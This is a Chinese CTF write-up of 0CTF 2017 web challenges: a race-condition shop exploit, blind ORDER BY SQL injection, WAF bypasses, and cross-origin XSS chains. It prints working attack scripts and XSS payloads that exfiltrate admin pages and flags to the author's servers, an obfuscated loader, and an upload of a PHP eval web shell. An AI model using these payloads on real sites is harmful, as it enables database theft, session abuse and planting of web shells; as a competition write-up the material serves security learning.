0CTF
Temmo’s Tiny Shop
这是一个小型的购物网站,然后官方的解法应该是先刷钱(竞争?)买一个Hint,然后得到flag所在的表,再对order by后面数据进行盲注,得到flag。
对于竞争,我们几个人尝试了N种竞争方式,还是没竞争出来十分迷。(尝试的有,BUY和SALE相互竞争。多个PHPSESSION相互竞争都不行orz)
其中一个脚本
#!/usr/bin/env python
# coding:utf-8
import requests
import time
import threading
#拼接url
host = "http://202.120.7.197"
url1 = host + "/app.php?action=buy&id=6"
url2 = host + "/app.php?action=sale&id=6"
headers1 = {'Cookie' : 'PHPSESSID=7i10kv9ntqokeuta27hrkh4532'}
headers1 = {'Cookie' : 'PHPSESSID=7i10kv9ntqokeuta27hrkh4533'}
# s = requests.get(url1,headers=headers)
# #打印返回结果
# print(s)
# print(s.status_code,s.text)
def buy():
try:
while True:
print requests.get(url1,headers=headers).content
except:
pass
def sale():
try:
while True:
print requests.get(url2,headers=headers).content
except:
pass
while 1:
threading.Thread(target=buy).start()
threading.Thread(target=sale).start()
后来,尝试admin 空登陆,就能发现很多钱。迷
买到HINT,
OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`
接下来的思路就很明显了,就是在oder那边有一个注入,很多东西都被WAF了,而且没有回显,不可能报错注入,只能盲注。
fuzz一波
过滤:
' or and 空格 union sleep || %0a binary /**/ <> = extractvalue floor updatexml
()一起的时候就会过滤
可用:
(xxx) , select as procedure limit asc desc distinct having like (sqlattempt2) & mid substr ascii exists from if
可以用(name)绕过空格
测试一波:
http://202.120.7.197/app.php?action=search&keyword=C&order=(price)desc
http://202.120.7.197/app.php?action=search&keyword=C&order=(price)asc
两者出来的顺序不同,很显然是一个order by后面的注入。
202.120.7.197/app.php?action=search&keyword=&order=(1)
{"status":"suc","goods":[{"id":"1","name":"Frostmourn","price":"4000","number":0},{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600","number":0},{"id":"3","name":"!HINT!","price":"8000","number":3},{"id":"4","name":"Backsword","price":"2800","number":2},{"id":"5","name":"Brownie","price":"2200","number":2},{"id":"6","name":"Ice Cream","price":"300","number":2}]}
202.120.7.197/app.php?action=search&keyword=&order=(0)
{"status":"fail","msg":"error occurs or no result here."}
http://202.120.7.197/app.php?action=search&keyword=C&order=if(BOOL,name,price)
打算基于这个进行盲注(因为每一个数据是唯一的,所以name,if(true,price,name)这种二次排序就不行
202.120.7.197/app.php?action=search&keyword=&order=(if(1,name,price))
{"status":"suc","goods":[{"id":"3","name":"!HINT!","price":"8000","number":3},{"id":"4","name":"Backsword","price":"2800","number":2},{"id":"5","name":"Brownie","price":"2200","number":2},{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600","number":0},{"id":"1","name":"Frostmourn","price":"4000","number":0},{"id":"6","name":"Ice Cream","price":"300","number":2}]}
202.120.7.197/app.php?action=search&keyword=&order=(if(0,name,price))
{"status":"suc","goods":[{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600","number":0},{"id":"5","name":"Brownie","price":"2200","number":2},{"id":"4","name":"Backsword","price":"2800","number":2},{"id":"6","name":"Ice Cream","price":"300","number":2},{"id":"1","name":"Frostmourn","price":"4000","number":0},{"id":"3","name":"!HINT!","price":"8000","number":3}]}
这样,我们就可以把注入点放在bool那边
202.120.7.197/app.php?action=search&keyword=&order=(if((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),name,price))
正常返回,说明flag确实存在这个表内
202.120.7.197/app.php?action=search&keyword=&order=(if(
substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)
),name,price))
202.120.7.197/app.php?action=search&keyword=&order=(if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)),name,price))
切记在测试的时候一定要把&编码!!!坑了好久
202.120.7.197/app.php?action=search&keyword=&order=(if((ascii((substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)))%261),name,price))
前者为1的时候,content[32]==’3’
前者为0的时候,content[32]==’2’
#!usr/bin/env python
# -*- coding:utf-8 -*-
import requests
session = requests.session()
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36","Referer":"http://202.120.7.197/","Connection":"close","Accept-Encoding":"gzip, deflate, sdch","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4,en-GB;q=0.2"}
cookies = {"PHPSESSID":"r18k5gc0mvu94urgd04k8hgbl7"}
url = "http://202.120.7.197/app.php"
payload="if((ascii((substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{index},1)))&{bit}),name,price)"
list=[1,2,4,8,16,32,64]#一般不用考虑最高位为1,就只需要7位
result = 0
flag=""
for i in xrange(1,32):
for bit in list:
paramsGet={"action":"search","keyword":"",
"order":payload.format(index=str(i),bit=bit)}
res= session.get(url,params=paramsGet,headers=headers,cookies=cookies)
#print paramsGet
#print res.content
if(res.content[32]=="3"):
result = result|bit
#print result,bit
print result
flag+=chr(result)
print flag
result =0 #reset result
竞争
看了别人的WP,发现确实是可以竞争的。不过,这个竞争和我们考虑的不一样,我们以为是用多个马甲号的COOKIE去喂一个马甲的钱。他的意思是,通过一个账户的不同cookie去操作。先用一个cookie买一个数据,然后再通过不同的cookie卖。好神奇,好奇后台逻辑是怎么写的。
发现,这里有一个脑洞提醒。购买Brownie后会有这个提示
Brownie:Round off your meal with a salty brownie and a cup of locally roasted coffee at Baked, maybe you will get flag :p
脑洞联想到星巴克在15年爆出的session条件竞争
https://sakurity.com/blog/2015/05/21/starbucks.html
摘自:http://bobao.360.cn/news/detail/1570.html
有一类非常有趣的漏洞叫做”竞争条件”。这个bug对于带有余额、凭证或者其他有限资源(主要是金钱)的网站非常常见。
所以,把钱从card1转移到card2是这样的状态:第一个POST请求 :
POST /step1?amount=1&from=wallet1&to=wallet2
保存这些值到session中,然后进行第二个POST:
POST/step2?confirm
这步是事实上是转移了这笔钱,然后清空了session。
这使得漏洞利用非常困难,因为session在第一次确认请求中被破坏了,然后第二个请求就失败了。但是这个保护措施仍然很容易绕过:使用两个不同的浏览器(session、cookie不同)、相同的账户。
攻击的伪代码:
sh参考代码:
#!/bin/bash
username="moxiaoxi"
password="moxiaoxi"
cookie1="PHPSESSID=gseqg01fg54is7nh733lch3eu1"
cookie2="PHPSESSID=r18k5gc0mvu94urgd04k8hgbl7"
url="http://202.120.7.197/app.php"
curl "$url?action=login" -b $cookie1 -d "username=$username&pwd=$password" &\
curl "$url?action=login" -b $cookie2 -d "username=$username&pwd=$password"
curl "$url?action=buy&id=1" -b $cookie1
curl "$url?action=sale&id=1" -b $cookie1 &\
curl "$url?action=sale&id=1" -b $cookie2
很疑惑,这里竟然能百分百触发,然后搞不懂为啥本来的脚本没办法触发,就改写了一下脚本,进行测试。
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
username = "moxiaoxi"
password = "moxiaoxi"
cookie1 = {"PHPSESSID":"gseqg01fg54is7nh733lch3eu1"}#PHPSESSID随意
cookie2 = {"PHPSESSID":"r18k5gc0mvu94urgd04k8hgbl7"}
url1 = "http://202.120.7.197/app.php"
paramsLogin ={"action":"login"}
data = {"username":username,"pwd":password}
paramsBuy = {"action":"buy","id":"1"}
paramsSale = {"action":"sale","id":"1"}
res = requests.post(url = url1,params = paramsLogin,data = data,cookies = cookie1)
print res.text
res = requests.post(url = url1,params = paramsLogin,data = data,cookies = cookie2)
print res.text
res = requests.get(url1,params = paramsBuy,cookies = cookie1)
print res.text
res = requests.get(url1,params = paramsSale,cookies = cookie2)
print res.text
res = requests.get(url1,params = paramsSale,cookies = cookie1 )
print res.text
发现这样还是没办法触发。。
和louys讨论了一下,发现一个坑点。。
貌似是因为requests是阻塞的,所以他得一个请求完,才能继续请求。阻塞就代表线性,没有竞争。
而curl是不阻塞的,直接发包的
改写一波paylaod
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import threading
username = "moxiaoxi"
password = "moxiaoxi"
cookie1 = {"PHPSESSID":"gseqg01fg54is7nh733lch3eu1"}#PHPSESSID随意
cookie2 = {"PHPSESSID":"r18k5gc0mvu94urgd04k8hgbl7"}
url1 = "http://202.120.7.197/app.php"
paramsLogin ={"action":"login"}
data = {"username":username,"pwd":password}
paramsBuy = {"action":"buy","id":"1"}
paramsSale = {"action":"sale","id":"1"}
session1 = requests.session()
session2 = requests.session()
res = session1.post(url = url1,params = paramsLogin,data = data,cookies = cookie1)
print res.text
res = session1.post(url = url1,params = paramsLogin,data = data,cookies = cookie2)
print res.text
# res = session1.get(url1,params = paramsBuy,cookies = cookie1)
# print res.text
# res = session1.get(url1,params = paramsSale,cookies = cookie2)
# print res.text
# res = session1.get(url1,params = paramsSale,cookies = cookie1 )
# print res.text
def buy():
res = session1.get(url1,params = paramsBuy,cookies = cookie1)
print res.text
def sale():
res = session1.get(url1,params = paramsSale,cookies = cookie2)
print res.text
res = session1.get(url1,params = paramsSale,cookies = cookie1 )
print res.text
def main():
while True:
t1 = threading.Thread(target=buy)
t2 = threading.Thread(target=sale)
t3 = threading.Thread(target=sale)
t1.start()
t2.start()
t3.start()
t1.join()
t2.join()
t3.join()
if __name__ == '__main__':
main()
测试一下,果然是阻塞的问题。通过这种方式可以弥补一下阻塞,但是触发机率没有curl高。
后台逻辑猜想
因为购买和卖出操作后,会破坏session。这样,对于同一个用户,同一个cookie就不能通过多线程的买卖来实现竞争了,因为session在第一次sale确认请求中被破坏,这样第二个sale请求就失败了。所以,原来的竞争没有效果。
这里采用session保存用户的状态,比如用户有多少钱和物品,用cookie作为标志符号
Login请求用于查询到用户名和钱包余额,goods请求用于查询用户有多少物品
假设login访问的是wallet数据库,goods访问的是goods数据库。
操作:
-
登陆:创建session,访问两个数据库,将信息保存在session中
-
买入:查询wallet数据库,查询goods数据库,update goods数据库,update wallet数据库
-
卖出:查询wallet数据库,查询goods数据库,update wallet数据库,update goods数据库
攻击流程
- Cookie1登录,获得钱0和物品信息1,保存在session中
- Cookie2登录,获得钱0和物品信息1,保存在session中
- Cookie1进行卖出,在cookie1用户更新wallet表后,更新goods表前,cookie2用户进行卖出。此时,cookie2看到的wallet钱已经变多,而goods数量还没减少,刷钱成功。
用正则获得数据
这是学习一个日本小哥的WP学习到的思路,颠覆了我对sql盲注的概念
https://st98.github.io/diary/posts/2017-03-20-0ctf-2017-quals.html
payload如下
import requests
import sys
def check(s):
if 'WAF' in s:
raise Exception('WAF~><')
if 'login plz' in s:
raise Exception('login plz~><')
return 'suc' in s
url = 'http://202.120.7.197/app.php?action=search&keyword=_&order=cot(if((%s)regexp(0x%s),1,0))'
print url % (sys.argv[1], sys.argv[2].encode('hex'))
print check(requests.get(url % (sys.argv[1], sys.argv[2].encode('hex')), cookies={
'PHPSESSID': 'xxx'
}).content)
python2 s.py "select(substr(flag,4,1))from(ce63e444b0d049e9c899c9a0336b3c59)" "[a-z]"
这样就能依次通过正则获得数据了,姿势非常优雅
simplesqlin
很明显的sql注入
用%0b绕过
http://202.120.7.203/index.php?id=-1%20union%20se%0blect%201,(sel%0bect%20flag%20fr%0bom%20flag),3
还有%00也可以
KOG
最近没那么多精力,暂时不看了。后面有时间补充吧。
https://jiulongw.github.io/post/0ctf-2017-kog/
思路好像是能通过调试器得到哈希值,从而伪造,进行sql注入
sql注入没有过滤任何东西,主要就是考验chrome调试能力。
Compliacted xss
通过这个脚本爆破md5验证码
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import hashlib
i = 0
while(True):
s = str(i)
test = hashlib.md5(s).hexdigest()
if test.startswith('c2d7c9'):
print '[!]', 'found:', s,test
break
i+=1
这题的大体意思是:
http://government.vip/
会给我们一个可以xss的输入框,输入的东西会被后台转为html,然后admin会去访问这个页面导致XSS。
http://admin.government.vip:8000
提示需要上传shell。用burpsuite抓包,可以发现cookie中的username可以控制页面上的东西(test)
<h1>Hello test</h1>
然后,最基本的思路就是在government.vip上跨域控制一个cookie,去访问admin.government.vip:8000
我基本对xss不是很了解,做了很久很久。。
后来,louys给了一个提示,其实是可以跨域带cookie访问的。
整个思路大体是这样,iframe两个相同的但父页面不同域的网页,这两个iframe是同域,可以互相通信,访问。
这里由于两个iframe的内容是同域的,虽然和父页不同域,但是根据同源策略两个iframe相互是可以访问对方的资源的
通过这种方式,我们就能在我们的页面控制在访问第二个iframe的时候时,admin带的cookei值,从而可以触发第二个页面的xss
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function get()
{
var payload = "<script src='http://106.14.61.185/files/a.js'>"+"</s"+"cript>;";//payload所在
document.cookie="username=" + payload + " domain=.government.vip; path=/";
document.body.appendChild(document.createElement('iframe')).src='http://admin.government.vip:8000';
//location.href = "http://admin.government.vip:8000/";
}
</script>
<iframe src="http://admin.government.vip:8000" onload="get()"></iframe>
</body>
</html>
a.js
location.href = "http://106.14.61.185:8080/date.php?xss="+escape(window.top.frames[0].document.documentElement.innerHTML)
可以打到admin页面的数据(这里打到的是第一个frame的数据)
[root@iZuf6ct8pmbo8u22rq5e5oZ ~]# nc -l 8080
GET /date.php?xss=%3Chead%3E%0A%3Ctitle%3EAdmin%20Panel%3C/title%3E%0A%3Cscript%3E%0A//sandbox%0Adelete%20window.Function%3B%0Adelete%20window.eval%3B%0Adelete%20window.alert%3B%0Adelete%20window.XMLHttpRequest%3B%0Adelete%20window.Proxy%3B%0Adelete%20window.Image%3B%0Adelete%20window.postMessage%3B%0A%3C/script%3E%0A%3C/head%3E%0A%0A%3Cbody%3E%3Ch1%3EHello%20admin%3C/h1%3E%0A%0A%0A%3Cp%3EUpload%20your%20shell%3C/p%3E%0A%3Cform%20action%3D%22/upload%22%20method%3D%22post%22%20enctype%3D%22multipart/form-data%22%3E%0A%3Cp%3E%3Cinput%20type%3D%22file%22%20name%3D%22file%22%3E%3C/p%3E%0A%3Cp%3E%3Cinput%20type%3D%22submit%22%20value%3D%22upload%22%3E%0A%3C/p%3E%3C/form%3E%0A%3C/body%3E HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://admin.government.vip:8000/
User-Agent: Mozilla/5.0 Chrome(phantomjs) for 0ctf2017 by md5_salt
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 106.14.61.185:8080
解码
<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>
<body><h1>Hello admin</h1>
<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>
然后,就进入一个深坑。。因为禁用了很多东西。。。我弱渣的JS水平,完全不会上传。
后来,网上偶然翻到一个比较相似的payload,他用了iframe的伪协议绕过了这个delete.
测试了一波
<!doctype html>
<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>
<h1>Hello <iframe src='javascript:eval(alert(1))'></iframe></h1>
<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></input></p>
<p><input type="submit" value="upload">
</form>
发现iframe的伪协议可以绕过,调用被禁用的函数。(还没搞懂为啥可以绕过,有知道的,求解答一波~)
然后,就想着通过iframe的伪协议调用一个外部的js,外部的js执行上传shell的操作。
本地测试一波
<!doctype html>
<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>
<h1>Hello <iframe src='javascript:eval(String.fromCharCode(118, 97, 114, 32, 115, 115, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 115, 115, 115, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 48, 54, 46, 49, 52, 46, 54, 49, 46, 49, 56, 53, 47, 102, 105, 108, 101, 115, 47, 120, 115, 115, 46, 106, 115, 34, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 115, 41, 59))'></iframe></h1>
<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></input></p>
<p><input type="submit" value="upload">
</form>
String.fromCharCode(118, 97, 114, 32, 115, 115, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 115, 115, 115, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 48, 54, 46, 49, 52, 46, 54, 49, 46, 49, 56, 53, 47, 102, 105, 108, 101, 115, 47, 120, 115, 115, 46, 106, 115, 34, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 115, 41, 59)
var sss=document.createElement("script");sss.src="http://106.14.61.185/files/xss.js";document.body.appendChild(sss);
xss.js就是实现一个上传逻辑
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://admin.government.vip:8000/upload", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------32762167253918");
xhr.withCredentials = true;
var body = "-----------------------------32762167253918\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"1.php\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\x3c?php eval($_GET[\'test\']);?\x3e\r\n" +
"-----------------------------32762167253918--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.onload=function(e)
{
(new Image()).src='http://106.14.61.185:7778/index.php?'+xhr.response;
}
xhr.send(new Blob([aBody]));
}
submitRequest();
可以看到,其实上传是被执行了,但是因为不是同源所以阻塞了。上传给admin,admin调用的时候,就能正常执行
最后的payload
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function get()
{
var payload = "<iframe src='javascript:eval(String.fromCharCode(118,97,114,32,115,115,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,115,115,46,115,114,99,61,34,104,116,116,112,58,47,47,49,48,54,46,49,52,46,54,49,46,49,56,53,47,102,105,108,101,115,47,120,115,115,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,115,41,59))'>"+"</i"+"frame>;";//payload所在
document.cookie="username=" + payload + " domain=.government.vip; path=/";
document.body.appendChild(document.createElement('iframe')).src='http://admin.government.vip:8000';
//location.href = "http://admin.government.vip:8000/";
}
get();
</script>
</body>
</html>
得到flag{xss_is_fun_2333333}
这里的坑:
因为是X在cookie里面,记得给iframe标签后面加一个分号。
伪协议绕过delete学习一波
带cookie的访问
一开始写了个php界面,上传,一直不行
XSS跨域
其他绕过方式
向iframe借用一个XMLHttpRequest来绕过delete
var frame = document.createElement('iframe');
document.body.appendChild(frame);
window.XMLHttpRequest = frame.contentWindow.XMLHttpRequest;
simpleXSS
This simulates a real world xss. It’s a simple one and took me 2-3 hours to solve this. Good luck!
https://router.vip/
Simple?????naive。。
贴近实战?蛤?
怼到了凌晨4点。。。还是没做出来,怀疑人生
这题的逻辑主要是,会有一个preview页面,我们可以用来测试我们的xss payload的执行情况,然后flag藏在https://router.vip/flag.php页面。https://router.vip/flag.php只允许admin访问。我们需要通过XSS去控制admin访问flag.php,然后再把数据弹回来。
fuzz了一波,waf简直了。。
能用的符号:
a-zA-Z ~|_^\=<-+*
因为我们没有:和.号,所以需要找思路绕过
后来,louys翻笔记翻到了一个思路:
也就是说,如果当下使用的是https:// 那么我们src=\\(10进制的ip)就可以绕过
Ip_change.py
import socket
import struct
import sys
ip = sys.argv[1]
#print ip
int_ip = socket.ntohl(struct.unpack('I',socket.inet_aton(ip))[0])
print int_ip
测试了一波,发现
<html>
<head>
<meta charset="utf-8">
<title>XSS Test Page</title>
</head>
<body>
<p>
<script src=\\1759553882
</p>
</body>
确实可以往外发数据
因为我们没有.号,所以也不能引用类似104.224.169.90/a.js这种界面
然后,就考虑index.html这种特性。我们引用一个104.224.169.90的页面,它会自动补全到达index.html(这种补全和服务器的相关设置相关,你们懂得)
那么,我们现在就能往外引用数据了!
但是,后来测试发现
<script src=\\2131121
这种格式的引用,浏览器只是做了一个get请求,但是因为没有右标签??(具体原因没深入研究),它没有对里面的js进行解析执行。
然后,又测试了几个其他的标签,发现iframe真是一个神奇的标签。
我们可以通过
<html>
<head>
<meta charset="utf-8">
<title>XSS Test Page</title>
</head>
<body>
<p>
<iframe src=\\1759553882
</p>
</body>
这种形式去引用一个https://ip/index.html的数据,而且它能对index.html的js进行解析执行!
接下来的思路就是,让admin触发xss,iframe加载一个页面,页面中的js执行,访问flag.php,然后再把数据打到我们的VPS中。
Index.html页面如下
<html>
<head>
</head>
<script>
/**
* Created by moxiaoxi on 2017/3/20.
*/
function getinfo(str) {
var node=document.createElement("script");
node.type="text/javascript";
node.src="http://104.224.169.90:6789/"+escape(str);
document.getElementsByTagName("HEAD")[0].appendChild(node);
}
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","https://router.vip/flag.php",true);
xmlhttp.onreadystatechange=function()
{
//if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
getinfo(xmlhttp.responseText);
}
}
xmlhttp.send();
</script>
</html>
可以看到,服务器执行了js
但,此时我们的VPS是收不到的数据的,因为发送请求被Chrome拦截下来了
Mixed Content: The page at 'https://router.vip/preview.php' was loaded over HTTPS, but requested an insecure script 'http://104.224.169.90:6789/'. This request has been blocked; the content must be served over HTTPS.
https加载src一个http的页面,它会自动拦截掉。
所以,我们把前面的http改成https即可(注:这样会导致数据乱码,当时主要想测能不能弹数据)
此时可以在我们的VPS上看到数据:
说明,现在发送数据这个功能是成功的。(其实,这里没有获取到数据,只是https协议的一些乱码数据)
但是,为什么现在没有弹出真正的flag呢,因为iframe这种方式会新建一个层,这样就不再在一个源上了。
XMLHttpRequest cannot load https://router.vip/flag.php. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://104.224.169.90' is therefore not allowed access.
chrome会报这个错。梳理一下现在的逻辑,我们在preivew页面,让其iframe引用一个html,然后执行html的里面的js,js中对https://router.vip/flag.php发送请求。但是,因为router.vip/flag.php的头没有设置跨域资源共享。我们也没办法去控制router.vip,使其增加头’Access-Control-Allow-Origin’ ‘*’;
所以,这里就gg了。。
然后,我们想到了出题人博客中,火日大佬的那种思路,两个iframe互相通信,就是前面题目的思路。
用一个iframe去触发xss,新建一个iframe,加载我们VPS的index.html.
index.html,有两个iframe,第一个iframe访问flag.php,第二个页面iframe访问preview页面,同时往preview构造一个表单触发xss,让其再iframe一个VPS的数据。。。说起来好混乱
上代码:
index.html
<html>
<head>
</head>
<body>
<iframe id='1' src='https://router.vip/flag.php'>
</iframe>
<form id="exploit" action="https://router.vip/preview.php" method="POST" target="profile">
<input name="payload" type="hidden" value="<iframe src=\\3396350939">
</form>
<iframe id='2' name="profile" src='https://router.vip/preview.php'>
</iframe>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>
然后,在另外一个VPS(3396350939)上去显示前一个iframe的数据
其实这样还是违反同源的,主要这里还是用iframe这个标签触发。。。导致,会新生成一个源和本来的不一样。
画了个草图:
整个逻辑就是这样,因为iframe会生成一个源,iframe1,iframe2之所以同源是因为他们两在同一个域。
回顾33c3的题 yolovault
题目内容参考这两个博客:
-
它只所以没违反同源,是因为它是加载一个js,而非iframe,看图
整个做题过程的思路,就死在这了。感觉现在只能做到访问flag.php,但是没办法把数据打出来。
感觉成也iframe,败也iframe😭
记录一下自闭合标签:
<img><br><hr><link><area/> <base/> <input /> <!-- -->
HTML5 Prefetch
本题正确的解答应该是利用chrome的预加载机制来绕过CSP
类似这种形式:
<link rel=import href=\\qq。com
<link rel=import href=\\1759553882
至于prerender、prefetch,有看到题解说,可以。但是,我在测试的时候,效果不是很好。
记录下结果:
<link rel=import href=\\www。xx。net 好用
<link rel=prefetch href=\\www。xx。net 访问了,但是收不到数据
<link rel=prerender href=\\www。xx。net 无法访问
CORS的坑
使用<link rel=import href=\\1759553882
进行测试的时候,会被chrome拦截。
Access to Imported resource at 'https://104.224.169.90/' from origin 'https://router.vip' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://router.vip' is therefore not allowed access.
这是说,我们的服务器没有设定Access-Control-Allow-Origin,导致没办法访问。
资料可以参考
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS
我们修改本来的index.html
<html>
<meta http-equiv="Access-Control-Allow-Origin" content="*">
<head>
</head>
<script>
/**
* Created by moxiaoxi on 2017/3/20.
*/
function getinfo(str) {
var node=document.createElement("script");
node.type="text/javascript";
node.src="http://104.224.169.90:6789/"+escape(str);
document.getElementsByTagName("HEAD")[0].appendChild(node);
}
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","https://router.vip/flag.php",true);
xmlhttp.onreadystatechange=function()
{
//if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
getinfo(xmlhttp.responseText);
}
}
xmlhttp.send();
</script>
</html>
可是这样设置了,还是没用,不知道这样为啥会失败?。。
最后,修改了nginx的配置
location / {
add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Headers' 'Authorization,Content- Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Requested-With';
add_header 'Access-Control-Allow-Methods' 'GET,POST,OPTIONS';
}
此时,可以正确加载。
HTTP的坑
这个前面讲过,在比赛期间遇到的,HTTPS src加载HTTP的问题。
(index):15 Mixed Content: The page at 'https://router.vip/preview.php' was loaded over HTTPS, but requested an insecure script 'http://104.224.169.90:6789/'. This request has been blocked; the content must be served over HTTPS.
getinfo @ (index):15
xmlhttp.onreadystatechange @ (index):24
2(index):15 Mixed Content: The page at 'https://router.vip/preview.php' was loaded over HTTPS, but requested an insecure script 'http://104.224.169.90:6789/Only%20ip%20from%20this%20host%20is%20allowed'. This request has been blocked; the content must be served over HTTPS.
getinfo @ (index):15
xmlhttp.onreadystatechange @ (index):24
chrome显示我们从https跳到了http阻拦了(实质就是https的页面src http,是不允许的,这也是前面适用 \\
的一个需求,这个前面讲的思路中讲过!)。前文讲过直接改成https会导致看不到明文数据,所以只能是HTTP。
所以,修改成location.href的格式
<html>
<head>
<meta http-equiv="Access-Control-Allow-Origin" content="*">
</head>
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript">
$.get("https://router.vip/flag.php",function(data){
//alert(data);
location.href="http://104.224.169.90:6789/"+escape(data);
});
</script>
</html>
此时,能在VPS上看到数据。
IP的坑
在看Melody博客时,发现他说10进制有一个坑。
这里有一个10进制的坑,就是当有10进制ip的时候,如果用
<link rel=import href=\\1759553882
这种格式,会被chrome干掉,打开 console 看到报错是 不安全的响应,当前页面是 https,而我的服务器虽然开启了 https,但是因为证书是不和 ip 绑定而是和域名绑定的,所以我需要使用域名才能绕过这个限制。
但是,我在测试的时候并没有发现这个问题。后来,与队友讨论和测试了一下,发现很神奇!!
貌似我的chrome有毒。。只有它不能拦截。在ubuntu上测试了一下,和在别人的mac上测试了一下,都会遇到这个坑。。
估计我的chrome有点逆天😂
.号的句号形式绕过
所有的主流浏览器都支持用中文句号替换域名部分的英文句号,原因是一些中文键盘更容易输入中文句号……
https://www.zhihu.com/question/45554645
在域名(包括ip格式)部分,浏览器能把。识别成.,也就是说qq。com可以识别成qq.com 192。168。1。1会是被称192.168.1.1 这样就可以绕过前面部分了。但是,这个特性在url后面就失效了。比如admin。com/flag。php 它只能转化成admin.com/flag。php
同时对于admin.com\test.com 它也会自动转换到admin.com/test.com
结果如下
源码:
<html>
<head>
<meta charset="utf-8">
<title>XSS Test Page</title>
</head>
<body>
<p>
<iframe src=\\104。224。169。90\flag。php
</p>
</body>
<html>
<head>
<meta charset="utf-8">
<title>XSS Test Page</title>
</head>
<body>
<p>
<iframe src=\\router。vip\flag。php
</p>
</body>
最终的payload:
<link rel=import href=\\test。com
https://test。com/index.html
<html>
<head>
<meta http-equiv="Access-Control-Allow-Origin" content="*">
</head>
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript">
$.get("https://router.vip/flag.php",function(data){
//alert(data);
location.href="http://104.224.169.90:6789/"+escape(data);
});
</script>
</html>
奇特的思路 svg
看了LC↯BC的题解,思路超级猥琐!
payload
<svg id=\ onload=location=id+id+12345609861+domain+id+1234+id
这个domain是取的当下页面的domain,也就是router.vip。所以,我们需要注册一个xxxxrouter.vip的域名。这种思路主要是因为.被过滤了。(俄罗斯人肯定不知道。可以过滤成.2333中文的强大😂)
